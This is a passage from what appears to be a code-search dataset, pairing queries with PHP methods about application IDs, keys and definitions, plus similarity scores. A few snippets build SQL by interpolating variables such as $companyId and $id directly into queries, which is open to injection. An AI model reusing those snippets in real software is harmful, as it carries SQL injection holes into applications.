}", "public function getAppKey()\n\t{\n\t\treturn $this->_appKey;\n\t}", "protected function getApplicationId()\n\t{\n\t\t$application_id = $this->request->input('session.application.applicationId', null);\n\n\t\tif (is_null($application_id) || $application_id === '') {\n\t\t\tthrow new AlexaVerificationException('Request verification failed: application ID not present in request.');\n\t\t}\n\n\t\treturn $application_id;\n\t}", "function mobile_app_name()\n{\n $appClientId = request()->header('app-client-id');\n if (!empty($appClientId)) {\n return $appClientId;\n }\n\n $params = request()->all();\n if (isset($params['app_client_id']) && !empty($params['app_client_id'])) {\n return $params['app_client_id'];\n }\n return '';\n}", "public function generateKey(Application $app)\n {\n $bytes = random_bytes(16);\n $api_key = bin2hex($bytes);\n $this->addExampleRecords($app, $api_key);\n return ['key' => $api_key];\n }", "public function getAppKey()\n {\n return $this->_appKey;\n }", "public function getSettingID($companyId, $app) {\n\t\t$sql = $this->select();\n\t\t$sql = $sql->setIntegrityCheck(false);\n\t\t$sql = $sql->from('application_settings_2');\n\t\t$sql = $sql->where(\"company_id = '{$companyId}'\");\n\t\t$row = $this->_db->fetchRow($sql);\n\t\t$setting_id = '';\n\t\t$setting_ids = json_decode($row['settings_ids'])->applications;\n\t\t\n\t\tforeach($setting_ids as $key => $opt) {\n\t\t\tif($key == $app) {\n\t\t\t\t$setting_id = $opt;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $setting_id;\n\t}", "function verify_app_id($app_id) // Colorize: green\n { // Colorize: green\n return isset($app_id) // Colorize: green\n && // Colorize: green\n is_int($app_id) // Colorize: green\n && // Colorize: green\n $app_id > 0; // Colorize: green\n }", "public function facebookAppId()\r\n\t{\r\n\t\treturn Mage::getStoreConfig('ezfacebook/facebook/appid');\r\n\t}", "public function setApp($app): string\n {\n $appCodesArray = parse_ini_file($this->directory.'/appCodes.ini', true);\n if (in_array($app, $appCodesArray['appcodes']) == false) {\n throw new Exception('App code does not exist');\n }\n\n return $this->app = array_search($app, $appCodesArray['appcodes']);\n }", "public function getAppScopeId()\n {\n if (array_key_exists(\"appScopeId\", $this->_propDict)) {\n return $this->_propDict[\"appScopeId\"];\n } else {\n return null;\n }\n }", "public function setAppUserId($var)\n {\n GPBUtil::checkString($var, True);\n $this->app_user_id = $var;\n\n return $this;\n }", "function getApplicationId(bool $requestSandboxAppId = TRUE) {\n if ($requestSandboxAppId) {\n return _SQ_SANDBOX_APP_ID;\n } else {\n return _SQ_APP_ID;\n }\n}", "public function appId(?string $value): self\n {\n $this->instance->setAppId($value);\n return $this;\n }", "public function getProfileCloudAppId() \n\t{\n\t\treturn 'profile_cloud_app';\n\t}", "public function getApplicationCohortApplicationId() {\n\t\treturn($this->applicationCohortApplicationId);\n\t}", "function generate_application_no()\n {\n $token = 'O-AA00001';\n $last = \\DB::table('applications')->orderBy('id','DESC')->lock()->first();\n\n //todo: optimize this function\n if ($last) {\n $token = ++$last->application_no;\n }\n return $token;\n }", "public function getFirebaseAppId()\n {\n return $this->firebase_app_id;\n }", "public function setApplicationId(?string $value): void {\n $this->getBackingStore()->set('applicationId', $value);\n }", "function fetchApplicationId()\n{\n if (isset($_GET['application_id'])) {\n $application_id = $_GET['application_id'];\n unset($_GET['application_id']);\n }\n return $application_id;\n}", "public function getCurrentAppId() {\n return $this->container->offsetGet('appId');\n }", "public function setAppId(int $appId) : self\n {\n $this->initialized['appId'] = true;\n $this->appId = $appId;\n return $this;\n }", "public function getAppId(): ?string\n {\n }", "private function setApplicationDefinitionId($appId) {\n\t\t\\Scrivo\\ArgumentCheck::assertArgs(func_get_args(), array(\n\t\t\tarray(\\Scrivo\\ArgumentCheck::TYPE_INTEGER)\n\t\t));\n\n\t\tif ($this->applicationDefinitionId) {\n\t\t\tthrow new \\Scrivo\\SystemException(\n\t\t\t\t\"Can't reset the the application id\");\n\t\t}\n\t\treturn $this->applicationDefinitionId = $appId;\n\t}", "protected function genRefNo($appId)\n {\n return env('REF_PREFIX').(strlen($appId)<3? str_pad($appId, 4-(strlen($appId) ), \"0\", STR_PAD_LEFT): $appId);\n }", "public function get_app_key() {\n\n\t\t// Get plugin settings.\n\t\t$settings = $this->get_plugin_settings();\n\n\t\treturn rgar( $settings, 'customAppKey' ) ? rgar( $settings, 'customAppKey' ) : null;\n\n\t}", "public function getGoogleAppointmentId()\n {\n return $this->googleAppointmentId;\n }", "public function __construct($appId)\n {\n $this->appId = $appId;\n }", "public function loadSingleApplication($appId) {\r\n \r\n $application = \"\";\r\n \r\n $queryresult = $this->db->query(\"SELECT app.ID, app.STATUS, app.TYPE, COUNT(*) SUBJECT_COUNT,\r\n\t\t\t\t\t\t\t\t\t\t\tGROUP_CONCAT(subj.DESCRIPTION SEPARATOR ', ') SUBJECTS_TO_CHANGE,\r\n GROUP_CONCAT(subj_change.DESCRIPTION SEPARATOR ', ') TO_SUBJECT, app.REASON,\r\n DATE_FORMAT(app.DATE_REQUEST, '%d %b %Y') DATE_REQUEST\r\n FROM t_sr_subject app\r\n INNER JOIN t_sr_subject_line app_line\r\n ON app.ID = app_line.SR\r\n INNER JOIN r_subject subj\r\n ON subj.ID = app_line.SUBJECT_CODE\r\n INNER JOIN r_subject subj_change\r\n ON subj_change.ID = app_line.SUBJECT_CODE_CHANGE\r\n WHERE app.ID = ?\r\n ORDER BY DATE_REQUEST DESC\", \r\n array($appId));\r\n \r\n if ( $queryresult->num_rows() > 0 ) { \r\n \r\n\t\t\tforeach ( $queryresult->result() as $row ) {\r\n \r\n $application = array(\r\n 'id' => $row->ID,\r\n 'status' => $row->STATUS,\r\n 'type' => $row->TYPE,\r\n 'subjectCount' => $row->SUBJECT_COUNT,\r\n 'subjects' => $row->SUBJECTS_TO_CHANGE,\r\n 'approvalLevel' => $this->getCurrentLevel($row->ID),\r\n 'numberOfApprovers' => $this->getNumberOfApprovers($campusId, $programType),\r\n 'reason' => $row->REASON,\r\n 'dateRequested' => $row->DATE_REQUEST,\r\n );\r\n }\r\n }\r\n \r\n\t\treturn $application;\r\n }", "public function getApplicationRef()\n {\n return $this->licence->getLicNo() . ' / ' . $this->id;\n }", "public function getId(): string\n {\n $message = (string) $this->getRawMessage();\n return substr(md5($message), 0, 10);\n }", "public function load($id) {\n\t\t\t$query = $this->system->mysql->query(\"SELECT * FROM applications WHERE appId=$id LIMIT 1\");\n\t\t\t\n\t\t\t$row = $query->fetch_assoc();\n\t\t\t\n\t\t\t$this->id = $row['appId'];\n\t\t\t$this->name = $row['name'];\n\t\t\t$this->ftpBackup = $row['ftpBackup'];\n\t\t\t\n\t\t\t$this->ftp = array(\n\t\t\t\t'server' => $row['ftpServer'],\n\t\t\t\t'user' => $row['ftpUser'],\n\t\t\t\t'password' => $row['ftpPassword'],\n\t\t\t\t'defaultDirectory' => $row['ftpDir'],\n\t\t\t\t'method' => $row['ftpMethod']\n\t\t\t);\n\t\t\t\n\t\t\t$this->dbBackup = $row['dbBackup'];\n\t\t\t\n\t\t\t$this->db = array(\n\t\t\t\t'server' => $row['dbServer'],\n\t\t\t\t'user' => $row['dbUser'],\n\t\t\t\t'password' => $row['dbPassword'],\n\t\t\t\t'database' => $row['dbDatabase'],\n\t\t\t\t'method' => $row['dbMethod'],\n\t\t\t);\n\t\t\t\n\t\t\t$this->dateLimit = $row['dateLimit'];\n\t\t\t\n\t\t\t$this->dates = array(\n\t\t\t\t'from' => $row['backupFrom'],\n\t\t\t\t'to' => $row['backupTo']\n\t\t\t);\n\t\t\t\n\t\t\t$this->frequency = $row['frequency'];\n\t\t\t\n\t\t\t$this->weekday = $row['weekday'];\n\t\t\t\n\t\t\t$this->backupTime = $row['time'];\n\t\t}", "public function getSenderAppId()\n {\n\n return $this->senderAppID;\n\n }", "public function getUserIdentifier(): string\n {\n return ($this->token ?? ($this->appkey ?? ''));\n }", "function isAppIdValid($Appid){\n\n\t// The var below represent the Appids this would come from a db \n\t$APPIDs = array(0=>\"n:LK`sFE0rLD7WWsAUUj*d6E4>*o=J\", 1=>\"v[ZB9i6!t7(jb+4ucRs80cAq/RLjZ`\");\n\n\t// var is init with false value, after loop and both ID matches found becomes true \n\t$found = false;\n\n\t// Looping over the App IDs \n\tforeach ($APPIDs as $key) {\n\t\t# code...\n\t\t//echo json_encode(array(\"keys\"=>$key));\n\t\tif($key==$Appid)\n\t\t{\n\t\t\t$found = true;\n\t\t\tbreak;\n\t\t}\n\t\t\n\t}\n\treturn $found;\n}", "public function getApplicationId(): ?string {\n $val = $this->getBackingStore()->get('applicationId');\n if (is_null($val) || is_string($val)) {\n return $val;\n }\n throw new \\UnexpectedValueException(\"Invalid type found in backing store for 'applicationId'\");\n }", "public function getOwnerAppIdentity();", "public function getAppKey(): string;", "public static function getGooglePlayClientId()\n {\n\t// It's temporary solution. Will be changed soon.\n $clientID = Yii::app()->db->createCommand()\n ->select('id')\n ->from('companies')\n ->where('LOWER(company_name) LIKE \"%google play qc%\"')\n ->queryScalar();\n \n if (empty($clientID))\n return '';\n \n return $clientID; \n }", "public function getAndroidId();", "public function getApplication( $id )\n\t{\t\n\t}", "public function setApp($app)\n {\n $this->app = $app;\n }", "public function getApp()\n {\n return $this['app.name'];\n }", "public function getAppointmentId()\n {\n return $this->appointmentId;\n }", "function facebook_app_token()\r\n{\r\n\tglobal $settings;\r\n\r\n\treturn $settings['facebook_app_id'] . '|' . $settings['facebook_app_secret'];\r\n}", "public function create($app) {\n //Connection with the database\n try {\n $conn = DBConnect::getInstance();\n }\n catch (PDOException $e) {\n echo \"Error connecting database: \" . $e->getMessage() . \" \";\n error_log(\"Error in create in ApplicationADO: \" . $e->getMessage() . \" \");\n die();\n }\n\n $cons=\"insert into \".ApplicationADO::$tableName.\" (`idUser`,`position`,`startDate`,`web`,`salary`,`relocate`,`reasons`) values (?, ?, ?, ?, ?, ?, ?)\" ;\n $arrayValues= [$app->getIdUser(),$app->getPosition(), $app->getStartDate(), $app->getWeb(), $app->getSalary(), ((int) $app->getRelocate()), ((int) $app->getReasons())];\n\n $id = $conn->executionInsert($cons, $arrayValues);\n\n $app->setId($id);\n\n return $app->getId();\n }", "public function testAppId()\n {\n $appId = 'id';\n $client = new Client();\n $driver = new OpenExchangeRatesDriver(\n $client,\n 'http://openexchangerates.org/api/latest.json'\n );\n $driver->setAppId($appId);\n $this->assertEquals($appId, $driver->getAppId());\n }", "public function setUseAppID($use_appid) \n \t{\n \t\t$this->use_appid = $use_appid;\n \t}", "public static function getAppVersion($app) {\n\t\treturn \\OC::$server->getAppManager()->getAppVersion($app);\n\t}", "public function setAppKey(string $key): SocketApp;", "public function __construct($device_id, $appId)\n {\n $this->device_id = $device_id;\n $this->appId = $appId;\n }" ]
[ "0.69075525", "0.69075525", "0.69075525", "0.69075525", "0.69075525", "0.69075525", "0.69075525", "0.6888273", "0.6821632", "0.67451316", "0.67272955", "0.6714343", "0.661704", "0.660079", "0.6591065", "0.65253997", "0.6504563", "0.64896774", "0.6487722", "0.6471144", "0.64584213", "0.64489675", "0.64374053", "0.64273554", "0.6423777", "0.6422799", "0.6422799", "0.6422799", "0.6422799", "0.63831824", "0.63743734", "0.6369522", "0.6369522", "0.6366864", "0.63654697", "0.62384826", "0.62187093", "0.61715835", "0.6141194", "0.61029774", "0.60803777", "0.605358", "0.60421443", "0.6035541", "0.6024533", "0.5977642", "0.59505135", "0.5887156", "0.58455694", "0.5806901", "0.5770774", "0.5770254", "0.5708763", "0.56844366", "0.5673103", "0.5660023", "0.5631204", "0.56063825", "0.56047726", "0.55948865", "0.559202", "0.5570114", "0.5550159", "0.5548917", "0.5514582", "0.54816055", "0.54744774", "0.5455252", "0.54373205", "0.54046136", "0.5388845", "0.5354506", "0.53504467", "0.53288233", "0.53277427", "0.53132904", "0.5307627", "0.5297712", "0.5296288", "0.52927667", "0.5278953", "0.5267592", "0.52648795", "0.5256672", "0.5243673", "0.5242453", "0.5238763", "0.52376944", "0.5230586", "0.52287865", "0.52134377", "0.5209808", "0.5199194", "0.5188368", "0.51845014", "0.5180392", "0.5177842", "0.51575553" ]
0.61320335
40
Generated from protobuf field string definition = 7;
public function getDefinition() { return $this->definition; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getDefinition(): string {\n return \"`{$this->name}` {$this->type}\";\n }", "public function getDefinition()\n {\n return \"\";\n }", "function get_field_name( $str ){\n\t\treturn 'field-'.$this->id_base.'['.$this->number.']['.$str.']';\n\t}", "public function toString() {\n return nameof($this).'<'.$this->marker.'>('.strlen($this->bytes).' bytes)';\n }", "protected function createString() {\n\t\tswitch ( $this->columnSchema[ self::COLUMN_DEFINITION_TYPE ] ) {\n\t\t\tcase self::COLUMN_TYPE_CHAR:\n\t\t\tcase self::COLUMN_TYPE_VARCHAR:\n\t\t\t\t$maxLen = $this->columnSchema[ self::COLUMN_DEFINITION_CHAR_MAX_LEN ];\n\t\t\t\tbreak;\n\t\t\tcase self::COLUMN_TYPE_TEXT:\n\t\t\tcase self::COLUMN_TYPE_MEDIUMTEXT:\n\t\t\tcase self::COLUMN_TYPE_LONGTEXT:\n\t\t\t\t$maxLen = NULL;\n\t\t\t\tbreak;\n\t\t}\n\n\t\t$string =\n\t\t\t\t$this->columnSchema[ self::COLUMN_DEFINITION_TYPE ]\n\t\t\t\t. ( !empty( $maxLen ) ? '(' . $maxLen . ')' : '' )\n\t\t\t\t. ( isset( $this->columnSchema[ self::COLUMN_DEFINITION_DEFAULT ] ) && $this->columnSchema[ self::COLUMN_DEFINITION_DEFAULT ] !== NULL\n\t\t\t\t\t\t? ' DEFAULT \"' . $this->columnSchema[ self::COLUMN_DEFINITION_DEFAULT ] . '\"'\n\t\t\t\t\t\t: '' )\n\t\t\t\t. ( isset( $this->columnSchema[ self::COLUMN_DEFINITION_IS_NULLABLE ] )\n\t\t\t\t\t\t? ( strtolower( $this->columnSchema[ self::COLUMN_DEFINITION_IS_NULLABLE ] ) == 'no' ? ' NOT NULL' : '' )\n\t\t\t\t\t\t: '' );\n\n\t\treturn $string;\n\t}", "function descriptor_def()\n {\n // @todo: replace this with proper descriptor fields.\n return \"[id]\";\n }", "function get_field_id( $str ){\n\t\treturn 'field-'.$this->id_base.'-'.$this->number.'-'.$str;\n\t}", "protected function getSchema()\n {\n return '{\n \"$schema\":\"http://json-schema.org/draft-04/schema#\",\n \"title\":\"' . $this->name . ' Schema\",\n \"description\":\"' . $this->description . '\",\n \"type\":\"object\",\n \"additionalProperties\":false,\n \"properties\":{\n \"string\":{\n \"type\":\"string\",\n \"description\": \"The input string to process\"\n }\n },\n \"required\":[\n \"string\"\n ]\n }';\n }", "public function Create ( )\r\n\t {\r\n\t\t$default\t= '' ;\r\n\t\t\r\n\t\tif ( $this -> StringSize < 16384 )\t\t// Not really the maximum size of a VARCHAR, but we have to fix a limit\r\n\t\t {\r\n\t\t\t$value_type\t= \"VARCHAR( {$this -> StringSize} )\" ;\r\n\t\t\t$default\t= \"DEFAULT ''\" ;\r\n\t\t }\r\n\t\telse if ( $this -> StringSize < 65536 )\r\n\t\t\t$value_type\t= \"TEXT\" ;\r\n\t\telse if ( $this -> StringSize < 16 * 1024 * 1024 )\r\n\t\t\t$value_type\t= \"MEDIUMTEXT\" ;\r\n\t\telse\r\n\t\t\t$value_type\t= \"LONGTEXT\" ;\r\n\t\t\r\n\t\tif ( $this -> StringIndexSize )\r\n\t\t\t$value_index\t= \"KEY\t\t( value( {$this -> StringIndexSize} ) ),\" ;\r\n\t\telse\r\n\t\t\t$value_index\t= '' ;\r\n\t\t\r\n\t\t$sql\t= <<<END\r\nCREATE TABLE IF NOT EXISTS {$this -> Name}\r\n (\r\n\tid\t\tBIGINT UNSIGNED\t\tNOT NULL AUTO_INCREMENT\r\n\t\t\t\t\t\tCOMMENT 'Unique id for this string entry',\r\n\ttype\t\tINT\t\t\tNOT NULL DEFAULT 0\r\n\t\t\t\t\t\tCOMMENT 'Value type ; can be used to differentiate between value groups',\r\n\tchecksum\tINT UNSIGNED\t\tNOT NULL DEFAULT 0\r\n\t\t\t\t\t\tCOMMENT 'CRC32 hash of the string value',\r\n\t\r\n\tvalue\t\t$value_type \t\tNOT NULL $default\r\n\t\t\t\t\t\tCOMMENT 'String value',\r\n\t\t\t\t\t\t\r\n\tPRIMARY KEY\t( id ),\r\n\t$value_index\r\n\tKEY\t\t( type, checksum )\r\n ) ENGINE = MyISAM CHARSET latin1 COMMENT '{$this -> Comment}' ;\r\nEND;\r\n\t\t\r\n\t\tmysqli_query ( $this -> Database, $sql ) ;\r\n\t }", "public function definition()\n {\n $str = 'भौतिकशास्त्रमा प्राप्त उपलब्धिहरूले प्रविधि विकास र अर्थतन्त्रमा पुर्‍याउने योगदान त छँदै छ, भौतिक विज्ञानका खासखास सिद्धान्तहरू अर्थशास्त्रको व्याख्यामा पनि उपयोगी देखिएकाले अर्थशास्त्र र भौतिकशास्त्रलाई मिलाएर नयाँ शब्दावली प्रयोगमा ल्याइएको छ— ‘इकोनोफिजिक्स’ भौतिकशास्त्री युजिन स्ट्यान्लीले सन् १९९५ मा जटिल प्रणालीहरूको गतिशीलतासम्बन्धी कोलकाता सम्मेलनमा यो शब्द पहिलो पटक प्रयोग गरेका थिए बजारको गतिशीलता र सम्पत्ति–आम्दानीको वितरण पद्धतिको अध्ययनमा इकोनोफिजिक्स निकै उपयोगी पाइएको सम्बद्ध अर्थशास्त्री र भौतिकशास्त्रीहरूको दाबी छ डिसेम्बर २०१७ मा अमेरिकन इकोनोमिक एसोसिएसन (एईए) ले इकोनोफिजिक्सबारे आयोजना गरेको सम्मेलनलाई एउटा महत्त्वपूर्ण कदमका रूपमा लिँदै यी दुवै विधा मिलाएर गरिएका अध्ययनहरू वित्तीय संकट हल गर्न उपयोगी हुने बताइएको थियो इकोनोफिजिक्स अवधारणा त्यति पुरानो नभए पनि युरोप र अमेरिकाका केही विश्वविद्यालयमा यसको पढाइ हुँदै आएको छ नेपालमा पनि सन् २०१५ देखि त्रिभुवन विश्वविद्यालयमा पढाउन थालिएको छ अर्थशास्त्रलाई समाज विज्ञानको भौतिकशास्त्र पनि भन्ने गरिन्छ जसरी सूक्ष्म कणदेखि ब्रह्माण्डका ठूलठूला पिण्डसम्मलाई गति दिन ऊर्जाको प्रयोग भएको हुन्छ भन्दै भौतिकशास्त्रमा ऊर्जालाई नै आधार मानेर प्राकृतिक प्रक्रियाहरूको व्याख्या गरिन्छ, त्यसरी नै पुँजीले सामाजिक गतिविधिहरू पैदा गराउँछ भन्ने मान्यताअनुसार अर्थशास्त्रमा सामाजिक प्रक्रियाहरूको व्याख्या हुने गर्छ भौतिक विज्ञानका थुप्रै समीकरण अर्थशास्त्रका क्षेत्रमा पनि उस्तै किसिमले लागू हुन सक्ने देखिन्छ, भलै भौतिक विज्ञानमा प्रयोग हुने भौतिक परिमाण र अर्थशास्त्रमा प्रयोग हुने परिमाण बुझाउने शब्द र सूचक फरक हुन सक्छन्';\n $nepaliWord = explode(\" \",$str);\n $nepaliWord = array_unique($nepaliWord);\n $tag = $nepaliWord[array_rand($nepaliWord)];\n return [\n 'name' => $tag,\n 'slug' => $tag,\n ];\n }", "public static function generateSchemaForTypeString( array $fieldConf ) {\n\t\t$schema = array();\n\n\t\t// determine type and maxLen\n\t\tif ( empty( $fieldConf[ 'maxLen' ] ) || intval( $fieldConf[ 'maxLen' ] ) < 0 ) {\n\t\t\t$fieldConf[ 'maxLen' ] = 65535;\n\t\t}\n\n\t\tif ( $fieldConf[ 'maxLen' ] > 255 ) { // no maximum length or greater than 255 forces a \"text\" typ\n\n\t\t\tif ( $fieldConf[ 'maxLen' ] <= 65535 ) {\n\t\t\t\t$schema[ self::COLUMN_DEFINITION_TYPE ] = self::COLUMN_TYPE_TEXT;\n\t\t\t\t$schema[ self::COLUMN_DEFINITION_CHAR_MAX_LEN ] = 65535; // TEXT\n\t\t\t} else if ( $fieldConf[ 'maxLen' ] <= 16777215 ) {\n\t\t\t\t$schema[ self::COLUMN_DEFINITION_TYPE ] = self::COLUMN_TYPE_MEDIUMTEXT;\n\t\t\t\t$schema[ self::COLUMN_DEFINITION_CHAR_MAX_LEN ] = 16777215; // MEDIUMTEXT\n\t\t\t} else {\n\t\t\t\t$schema[ self::COLUMN_DEFINITION_TYPE ] = self::COLUMN_TYPE_LONGTEXT;\n\t\t\t\t$schema[ self::COLUMN_DEFINITION_CHAR_MAX_LEN ] = 4294967295; // LONGTEXT\n\t\t\t}\n\n\t\t} else if ( $fieldConf[ 'maxLen' ] < 256 ) {\n\t\t\tif ( empty( $fieldConf[ 'fixedLen' ] ) ) { // fixedLen == true means it's a char, otherwise it's a varchar\n\t\t\t\t$schema[ self::COLUMN_DEFINITION_TYPE ] = self::COLUMN_TYPE_VARCHAR;\n\t\t\t\t$schema[ self::COLUMN_DEFINITION_CHAR_MAX_LEN ] = $fieldConf[ 'maxLen' ];\n\t\t\t} else {\n\t\t\t\t$schema[ self::COLUMN_DEFINITION_TYPE ] = self::COLUMN_TYPE_CHAR;\n\t\t\t\t$schema[ self::COLUMN_DEFINITION_CHAR_MAX_LEN ] = $fieldConf[ 'maxLen' ];\n\t\t\t}\n\t\t}\n\n\t\t//set default\n\t\t$schema[ self::COLUMN_DEFINITION_DEFAULT ] = $fieldConf[ 'default' ];\n\n\t\t//set nullable\n\t\t$schema[ self::COLUMN_DEFINITION_IS_NULLABLE ] = ( !empty( $fieldConf[ 'nullable' ] ) ? 'YES' : 'NO' );\n\n\t\t//set character set\n\t\t$schema[ self::COLUMN_DEFINITION_CHARSET ] = ( !empty( $fieldConf[ 'charset' ] ) ? $fieldConf[ 'charset' ] : 'utf8' );\n\n\t\t//set collation\n\t\t$schema[ self::COLUMN_DEFINITION_COLLATION ] = ( !empty( $fieldConf[ 'collation' ] ) ? $fieldConf[ 'collation' ] : 'utf8_general_ci' );\n\n\t\t//set auto increment\n\t\t$schema[ self::COLUMN_DEFINITION_EXTRA ] = NULL; // string types can't have auto_increment\n\n\t\t//set precision\n\t\t$schema[ self::COLUMN_DEFINITION_PRECISION ] = NULL; // only applicable for numeric types\n\n\t\t//set scale\n\t\t$schema[ self::COLUMN_DEFINITION_SCALE ] = NULL; // only applicable for numeric types\n\n\t\treturn $schema;\n\t}", "public function toString() {\n return nameof($this).'('.str_repeat('*', strlen($this->bytes)).')';\n }", "static function writeStringLength(?string $str): string {\n if($str === null) {\n // \\xFB (251)\n return \"\\xFB\";\n }\n \n $length = \\strlen($str);\n if($length <= 250) {\n return static::writeInt1($length).$str;\n }\n \n if($length <= 0xFFFF) { // max 2^16: \\xFC (252)\n return \"\\xFC\".static::writeInt2($length).$str;\n }\n \n if($length <= 0xFFFFFF) { // max 2^24: \\xFD (253)\n return \"\\xFD\".static::writeInt3($length).$str;\n }\n \n return \"\\xFE\".static::writeInt8($length).$str; // max 2^64: \\xFE (254)\n }", "function Definition($string)\n{\n [$definition, $substr] = ExecutableDefinition($string);\n if ($definition !== null) {\n $definition['__Definition'] = 'ExecutableDefinition';\n return [$definition, $substr];\n }\n\n [$definition, $substr] = TypeSystemDefinition($string);\n if ($definition !== null) {\n $definition['__Definition'] = 'TypeSystemDefinition';\n return [$definition, $substr];\n }\n\n [$definition, $substr] = TypeSystemExtension($string);\n if ($definition !== null) {\n $definition['__Definition'] = 'TypeSystemExtension';\n return [$definition, $substr];\n }\n\n Parser::throwSyntax('Definition', $string);\n}", "public static function key_field($str) {\n\t\treturn 'field_' . self::key($str);\n\t}", "public static function getDescriptor()\n {\n \tstatic $descriptor;\n if (!isset($descriptor)) {\n $desc = new ProtocolBuffersDescriptorBuilder();\n\t\t\t$desc->addField(1, new ProtocolBuffersFieldDescriptor(array(\n\t\t\t\t\"type\" => ProtocolBuffers::TYPE_STRING,\n\t\t\t\t\"name\" => \"regPlace\",\n\t\t\t\t\"required\" => true,\n\t\t\t\t\"optional\" => false,\n\t\t\t\t\"repeated\" => false,\n\t\t\t\t\"packable\" => false,\n\t\t\t\t\"default\" => \"\",\n\t\t\t)));\n $descriptor = $desc->build();\n }\n\n return $descriptor;\n }", "public function testLengthIs191ByDefault()\n {\n $this->assertEquals(191, (new StringField('some_string'))->getLength());\n }", "public function createPayload(): string\n {\n return '';\n }", "public static function constant($str)\n {\n return self::scream($str);\n }", "public function build()\n {\n # Fixed Header\n # Control Packet Type\n $cmd = $this->getMessageType() << 4;\n\n $cmd |= ($this->reserved_flags & 0x0F);\n\n $header = chr($cmd) . $this->remaining_length_bytes;\n\n $header .= $this->buildVariableHeader();\n\n return $header;\n }", "public function build(): string;", "public function build(): string;", "public function getType(): string\n {\n return self::TYPE_STRING;\n }", "public function getType(): string\n {\n return self::TYPE_STRING;\n }", "public function __toString()\n {\n return $this->string(6);\n }", "public function structure()\n\t{\n\t\t$structure=\"\";\n\t\tfor ($i=0;$i<count($this->tokens);++$i)\n\t\t{\n\t\t\t$c=$this->tokens[$i]['type'][0];\n\t\t\tif ($this->tokens[$i]['type']=='symbol')\n\t\t\t\t$c=\"@\";\n\t\t\tif ($this->tokens[$i]['type']==self::TYPE_STRING)\n\t\t\t\t$structure.=\"'str'\";\n\t\t\telseif ($this->tokens[$i]['type']==self::TYPE_NUMBER)\n\t\t\t\t$structure.=\"1\";\n\t\t\telse\n\t\t\t\t$structure.=$this->tokens[$i]['clean'];\n\t\t\t$structure.=\" \";\n\t\t\tif ($c=='c') //single line comment\n\t\t\t\t$structure=substr($structure,0,-1).\"\\n \";\n\t\t}\n\t\treturn $structure;\n\t}", "public function getStringOffset() {}", "function build(): string\n {\n return 'filled';\n }", "public function get_definition_tuple($parent, $string_def) { \n\n\t// Extract child numbers\n\t$address_definition = explode(\"/\", $string_def);\n\t\t\n\t// Load the depth of the parent key.\n\t$import = $this->import($parent);\n\t$depth = $import['depth']; \n\t\t\n\t// Start building the address bytes tuple\n\tforeach ($address_definition as &$def) {\n\n\t\t// Check if we want the prime derivation\n\t\t$want_prime = 0;\n\t\tif(strpos($def, \"'\") !== false) {\n\t\t\t// Remove ' from the number, and set $want_prime\n\t\t\tstr_replace(\"'\", '', $def);\n\t\t\t$want_prime = 1;\n\t\t}\n\n\t\t// Calculate address byres\n\t\t$and_result = ($want_prime == 1) ? $def | 0x80000000 : $def;\n\t\t$hex = unpack(\"H*\", pack(\"N\", $and_result)); \n\t\t$def = $hex[1];\n\t\t$depth++;\n\t}\n\t\n\t// Reverse the array (to allow array_pop to work) and return.\n\treturn array_reverse($address_definition);\n\n}", "function descriptor_def()\n {\n return \"[description]\";\n }", "public function definition()\n {\n return [\n 'name' => 'ارسال کل کلمه',\n 'descriptor' => 'ALL_WORD',\n 'enable' => true\n ];\n }", "public function getStringValue()\n {\n return $this->readOneof(3);\n }", "public function getStringRepresentation(): string;", "public function testStringFields()\n {\n $field = $this->table->getField('stringone');\n $this->assertInstanceOf('Metrol\\DBTable\\Field\\PostgreSQL\\Character',\n $field);\n $this->assertTrue($field->isNullOk());\n $this->assertEquals(50, $field->getMaxCharacters());\n $this->assertNull($field->getDefaultValue());\n\n $field = $this->table->getField('stringtwo');\n $this->assertInstanceOf('Metrol\\DBTable\\Field\\PostgreSQL\\Character',\n $field);\n $this->assertFalse($field->isNullOk());\n $this->assertEquals(\"'ABCDE'::bpchar\", $field->getDefaultValue());\n $this->assertEquals(5, $field->getMaxCharacters());\n\n $field = $this->table->getField('stringthree');\n $this->assertInstanceOf('Metrol\\DBTable\\Field\\PostgreSQL\\Character',\n $field);\n $this->assertTrue($field->isNullOk());\n $this->assertEquals(\"'blah blah'::text\", $field->getDefaultValue());\n $this->assertNull($field->getMaxCharacters());\n }", "public function getRepeatedStringFieldCount()\n {\n return $this->count(self::REPEATED_STRING_FIELD);\n }", "protected function get_schema() {\n\t\treturn [\n\t\t\t'description' => __( 'Content of the reminder.' ),\n\t\t\t'type' => Type::STRING,\n\t\t];\n\t}", "private static function stringField($type, $size)\n {\n $obj = new StringField();\n $obj->type = $type;\n $obj->size = $size;\n $obj->encoding = 'utf8_general_ci';\n\n return $obj;\n }", "protected function buildSchemaField() {\n if (!empty($this->entityPropertyInfo['key'])) {\n return $this->processValueTemplate('%property_schemas_fields_name_base%');\n }\n }", "function string_get_field_name( $p_string ) {\r\n\r\n\t$t_map = array(\r\n\t\t\t'last_updated' => 'last_update',\r\n\t\t\t'id' => 'email_bug'\r\n\t\t\t);\r\n\r\n\t$t_string = $p_string;\r\n\tif ( isset( $t_map[ $p_string ] ) ) {\r\n\t\t$t_string = $t_map[ $p_string ];\r\n\t}\r\n\treturn lang_get_defaulted( $t_string );\r\n}", "public function getXsiTypeName() {\n return \"ReportDefinitionField\";\n }", "public function getSQLDefinition()\n {\n // Index columns are always of the same type\n if ($this->columnName == IESDataColumnType::INDEX_COLUMN_NAME) {\n return \"{$this->columnName} INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY\";\n }\n\n $type = \"\";\n $nullSuffix = $this->nullable ? \"NULL\" : \"NOT NULL\";\n\n if ($this->dataType == IESDataColumnType::STRING) {\n $type = \"VARCHAR({$this->getColumnLength()})\";\n } else if ($this->dataType == IESDataColumnType::BOOLEAN) {\n $type = \"BIT\";\n } else if ($this->dataType == IESDataColumnType::FLOAT) {\n $type = \"DECIMAL(13,4)\";\n } else if ($this->dataType == IESDataColumnType::INTEGER) {\n $subType = $this->getIntegerSubType();\n\n if ($subType == IESDataColumnIntegerTypes::SIGNED_BYTE)\n $type = \"TINYINT SIGNED\";\n else if ($subType == IESDataColumnIntegerTypes::SIGNED_SHORT)\n $type = \"SMALLINT SIGNED\";\n else if ($subType == IESDataColumnIntegerTypes::SIGNED_INTEGER)\n $type = \"INTEGER SIGNED\";\n else if ($subType == IESDataColumnIntegerTypes::SIGNED_LONG)\n $type = \"BIGINT 